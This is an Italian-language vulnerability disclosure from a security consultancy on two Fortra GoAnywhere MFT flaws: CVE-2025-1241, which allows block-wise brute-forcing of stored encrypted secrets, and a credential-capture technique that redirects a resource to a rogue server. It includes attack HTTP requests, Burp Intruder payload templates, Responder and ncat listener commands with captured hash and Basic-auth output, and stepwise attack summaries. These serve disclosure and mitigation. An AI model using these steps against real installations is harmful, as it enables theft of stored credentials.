Analisi della vulnerabilità: Decrittografia segreta di Fortra GoAnywhere CVE

> Notizie ed eventi > Analisi della vulnerabilità: Fortra GoAnywhere Secret Decryption CVE

Autore: Robin Wolters

Consulente di cybersecurity OT e IT || CRTO, OSCP, GICSP

Il 7 gennaio 2025 Robin Wolters di Bureau Veritas Cybersecurity ha individuato due vulnerabilità all’interno di Fortra GoAnywhere MFT (software per il trasferimento sicuro e gestito di file), una delle quali è stata recentemente classificata con il codice CVE-2025-1241.

La versione utilizzata durante questi test è GoAnywhere versione 7.6.0 Build 44.

La pagina del prodotto GoAnywhere MFT menziona che il software può essere utilizzato per proteggere i dati sensibili, come PHI, PII e informazioni relative alle carte di credito, sia in transito che inattivi. Ciò significa che una vulnerabilità potrebbe portare alla compromissione o all'interruzione di questi dati sensibili presso i clienti del software GoAnywhere MFT.

Le vulnerabilità identificate comportano entrambe l'esposizione di segreti memorizzati in forma crittografata. La prima vulnerabilità consente a un aggressore di effettuare attacchi di forza bruta su qualsiasi segreto crittografato memorizzato a causa di una debolezza nel meccanismo di crittografia utilizzato. Il meccanismo crittografa i segreti utilizzando un algoritmo a blocchi, in blocchi di 8 caratteri. Per questo motivo, i tentativi di forza bruta sui segreti crittografati possono essere effettuati in blocchi di 8, limitando la lunghezza effettiva del segreto originale. L'utilizzo di una password di 24 caratteri comporterebbe la necessità di sottoporre a forza bruta tre blocchi di 8 caratteri anziché una singola password di 24 caratteri. La vulnerabilità consentiva inoltre a un malintenzionato di determinare la lunghezza approssimativa del segreto, fino alla dimensione del blocco, limitando ulteriormente la forza della crittografia. A questa vulnerabilità è stato assegnato il codice CVE-2025-1241.

La seconda vulnerabilità consente a un aggressore di ricevere credenziali in chiaro dal sistema per risorse configurate in precedenza. Le risorse possono essere configurate con account per l'autenticazione alla risorsa remota. La password di questo account non viene mostrata all'utente dopo la configurazione iniziale, ma può essere sostituita solo con una nuova. Tuttavia, modificando l'indirizzo di destinazione della risorsa, l'autenticazione della risorsa può essere reindirizzata a un server sotto il controllo di un aggressore. Con una configurazione adeguata, questo server dannoso può essere configurato per raccogliere le credenziali dall'autenticazione, ottenendo così la password in chiaro o le credenziali in un formato specifico del servizio. A questa vulnerabilità non è stato assegnato un CVE, poiché è inerente al modo in cui vengono utilizzati i segreti.

Scenario 1:
brute-force delle chiavi segrete

Durante l'analisi del portale di amministrazione di GoAnywhere è emerso lo strumento di crittografia. Questo strumento consentiva a un amministratore di crittografare le password in chiaro per utilizzarle in modo sicuro come variabili nei progetti. Sperimentando con lo strumento di crittografia si sono ottenuti risultati interessanti:

12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678

Il che ha prodotto le seguenti stringhe crittografate:

*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

Il fatto che la parte iniziale della stringa crittografata non cambi più può essere indice dell'utilizzo di un algoritmo a blocchi per la crittografia. Ciò significherebbe che un segreto potrebbe essere decrittografato in blocchi di 8 caratteri, invece di dover ricorrere alla forza bruta sull'intero segreto, limitando notevolmente l'efficacia della lunghezza della password.

L'applicazione è stata controllata per verificare l'utilizzo di queste stringhe crittografate. Tuttavia, l'istanza oggetto dell'indagine non utilizzava le stringhe crittografate nelle variabili come suggerito. Sono state ispezionate altre aree, come i file di configurazione dell'applicazione. Un esempio è il file database-2024-11-21-14-19-17.xml, che conteneva una stringa crittografata per la connessione al database:

*1:1ijs[OMISSIS]THKA== 

È possibile determinare la lunghezza approssimativa di questa password grazie al cifrario a blocchi utilizzato. Utilizzando lo strumento di crittografia, vengono aggiunti nuovi caratteri alla stringa in chiaro fino a quando l'output crittografato corrisponde alla lunghezza della stringa crittografata ( 91):

1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

Ciò indica che l'input originale sarebbe compreso tra 24 (123456781234567812345678) e 31 ( 1234567812345678123456781234567) caratteri.

Un altro esempio è riscontrabile nella connessione delle risorse. Sebbene l’applicazione non mostrasse le stringhe crittografate nella console web, era possibile leggerle esportando la configurazione di una risorsa. È stata creata una nuova risorsa server SSH per la prova di fattibilità (proof-of-concept) del brute-force su una stringa crittografata:

POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1
Host: il-vbu.acp.kvk.nl:9000
Cookie: ASESSIONID=[...]
Content-Type: application/x-www-form-urlencoded

resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A
j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4
5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj
_id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id
_45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_
45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]

La configurazione della risorsa è stata scaricata:

<?xml version="1.0" encoding="UTF-8" ?>

    Secura testserver
	Default
    
    10.30.XX.XX
    8022
	Secura
    <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/
XgGCEHBSSLVnh

Utilizzando il metodo sopra descritto, è stato possibile determinare la lunghezza approssimativa della password, compresa tra 16 e 24 caratteri:

123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
44332211112233441324
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
12345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==

Lo strumento di crittografia è stato utilizzato in combinazione con Burp Intruder per effettuare un attacco di forza bruta sulla stringa crittografata. Come accennato, l'attacco di forza bruta era possibile in sezioni di 8 caratteri. Pertanto, invece di dover decifrare una password di 24 caratteri, è stato possibile decifrare 3 password di massimo 8 caratteri ciascuna. Lo spazio dei caratteri era limitato ai soli numeri, poiché si trattava di un attacco di forza bruta online contro un sistema attivo.

La prima sezione è stata decifrata osservando i primi 24 caratteri dell'output crittografato:

*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
Image in image block

La prima sezione della password è stata decifrata

Il testo in chiaro è stato successivamente aggiunto alla configurazione dell'intruso prima della sezione successiva da sottoporre a forza bruta.

javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a&
javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A
j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3A
input_hinput=44332211§INPUT§&[...]

La sezione successiva è stata sottoposta a un attacco di forza bruta fino a quando non è stata trovata una corrispondenza con i primi 45 caratteri della stringa crittografata.

*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh

L'approccio per l'ultima sezione è stato leggermente diverso, poiché non potevamo sapere se la password fosse lunga 16 o 23 caratteri. Ciò significa che è stato necessario applicare la forza bruta a ogni lunghezza compresa tra 1 e 7:

Image in image block

Configurazione di Burp Intruder utilizzata per il cracking dell'ultima sezione

Infine, è stata decifrata anche l'ultima parte della password:

Image in image block

La sezione finale della password è stata decifrata

Riepilogo

Questa vulnerabilità consente a un aggressore di effettuare attacchi di forza bruta contro le chiavi segrete utilizzate all'interno dell'applicazione in blocchi di 8 caratteri. Ciò limita l'effettiva sicurezza della chiave segreta utilizzata e consente a un aggressore di ottenere l'accesso a risorse configurate quali server SSH, database, condivisioni di file o altro. I passaggi seguenti riassumono il processo:

  • Recuperare una chiave segreta crittografata dall'applicazione; ad esempio leggendo un file di configurazione o esportando una risorsa.
  • Autenticarsi al portale con privilegi sufficienti per accedere allo strumento di crittografia.
  • Determinare la lunghezza approssimativa della chiave segreta utilizzando lo strumento di crittografia.
  • Utilizzare il metodo preferito per effettuare un attacco di forza bruta al segreto tramite lo strumento di crittografia. Ciò potrebbe essere fatto utilizzando Hydra, Burp Intruder o uno script personalizzato.
  • Eseguire un attacco di forza bruta su ciascun blocco del segreto crittografato per recuperare il segreto in chiaro originale.

Di seguito è riportato un punteggio CVSS indicativo della vulnerabilità individuata:

Image in image block

Punteggio CVSS3.1 indicativo di questo scenario

Mitigazione

Aggiornare l'applicazione alla versione 7.10.0. Questa patch è stata rilasciata il 20 aprile 2026. In generale, limitare il numero di amministratori in base al principio del privilegio minimo per impedire l'accesso a questo tipo di vulnerabilità.

Scenario 2:
trasmissione di segreti in chiaro

Le risorse possono essere configurate nel portale di amministrazione, come i server SSH o le condivisioni di rete. Queste risorse richiedono spesso credenziali che possono essere memorizzate. Non è possibile leggere la password (crittografata) dall'interfaccia web:

Image in image block

La password crittografata di una risorsa è nascosta all'utente

Un utente con privilegi sufficienti è in grado di modificare le risorse. Modificando l'indirizzo del server di una condivisione di rete, il tentativo di autenticazione può essere reindirizzato dal server originale a un server dannoso. Il server dannoso potrebbe monitorare le autenticazioni in entrata per intercettarle, ad esempio con Responder:

$ sudo responder -I eth0 -A

[+] Server:
    Server SMB                 [ON]

[+] In attesa di eventi...                                                        
[+] Responder è in modalità analisi. Nessuna richiesta NBT-NS, LLMNR, MDNS verrà avvelenata.
[...]
[SMB] Client NTLMv2-SSP   : 10.7.255.101
[SMB] Nome utente NTLMv2-SSP : TEST\secura
[SMB] Hash NTLMv2-SSP     : secura::TEST:6a6c638bcaee13bb:A5FF[...]0000

Questo hash può quindi essere utilizzato in un attacco di forza bruta offline per recuperare la password configurata della risorsa. In alternativa, alcuni servizi potrebbero consentire l'invio di password che non necessitano di essere decifrate. Un esempio potrebbe essere quello dei server HTTP(S). È stato creato un nuovo server HTTP per il PoC e la funzione "Test" è stata utilizzata per testare la connessione, inviando così la password memorizzata tramite la connessione HTTP:

Image in image block

La connessione al server HTTP è stata testata, inviando la password

Il server dannoso ha ricevuto la seguente connessione dal client GoAnywhere:

$ ncat -lvp 8000
Ncat: Versione 7.94SVN ( https://nmap.org/ncat )
Ncat: In ascolto su [::]:8000
Ncat: In ascolto su 0.0.0.0:8000
Ncat: Connessione da 10.7.255.101:16047.
GET / HTTP/1.1
Connection: close
Authorization: Basic VGVzdDp0ZXN0cGFzc3dvcmQ=
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 10.30.50.66:8000

Il codice base64 è stato decodificato nel nome utente e nella password originali:

Test:testpassword

Sintesi

Questa vulnerabilità consente a un aggressore di recuperare dall'applicazione segreti non crittografati che normalmente sono memorizzati in forma crittografata. A seconda del protocollo utilizzato, questi segreti possono essere ricevuti in chiaro o in un formato specifico del protocollo. I passaggi seguenti riassumono il processo:

  • Effettuare l'autenticazione al portale con privilegi sufficienti per accedere alle risorse.
  • Selezionare un protocollo e una risorsa come obiettivo.
  • Configurare un server non autorizzato in grado di comunicare tramite il protocollo di destinazione e di raccogliere i dettagli di autenticazione; ad esempio, è possibile utilizzare Responder per raccogliere dati SMB.
  • Modificare la risorsa per reindirizzare l'indirizzo di destinazione al server dannoso.
  • Utilizzare la funzionalità Test per ricevere un tentativo di autenticazione senza salvare le nuove impostazioni.

Di seguito è riportato un punteggio CVSS indicativo della vulnerabilità rilevata:

Image in image block

Punteggio CVSS3.1 indicativo di questo scenario

Mitigazione

Non sarà disponibile alcun aggiornamento per impedire questo metodo. Mitigare questo comportamento renderebbe l'amministrazione dell'applicazione più difficile e meno intuitiva. Una possibile soluzione sarebbe quella di consentire l'aggiunta di certificati alla configurazione per garantire l'identità del server di destinazione. In generale, limitare il numero di amministratori in base al principio del privilegio minimo per impedire l'accesso a questo tipo di vulnerabilità.

Image in image block

Perché scegliere Bureau Veritas Cybersecurity?

Bureau Veritas Cybersecurity è il vostro partner esperto in materia di sicurezza informatica. Aiutiamo le organizzazioni a identificare i rischi, rafforzare le difese e conformarsi agli standard e alle normative in materia di sicurezza informatica. I nostri servizi riguardano persone, processi e tecnologie, dalla formazione sulla consapevolezza e l'ingegneria sociale alla consulenza sulla sicurezza, la conformità e i test di penetrazione.

Operiamo in ambienti IT, OT e IoT, supportando sia i sistemi digitali che i prodotti connessi. Con oltre 300 professionisti della sicurezza informatica in tutto il mondo, uniamo una profonda competenza tecnica a una presenza globale. Bureau Veritas Cybersecurity fa parte del Bureau Veritas Group, leader mondiale nel settore dei test, delle ispezioni e delle certificazioni.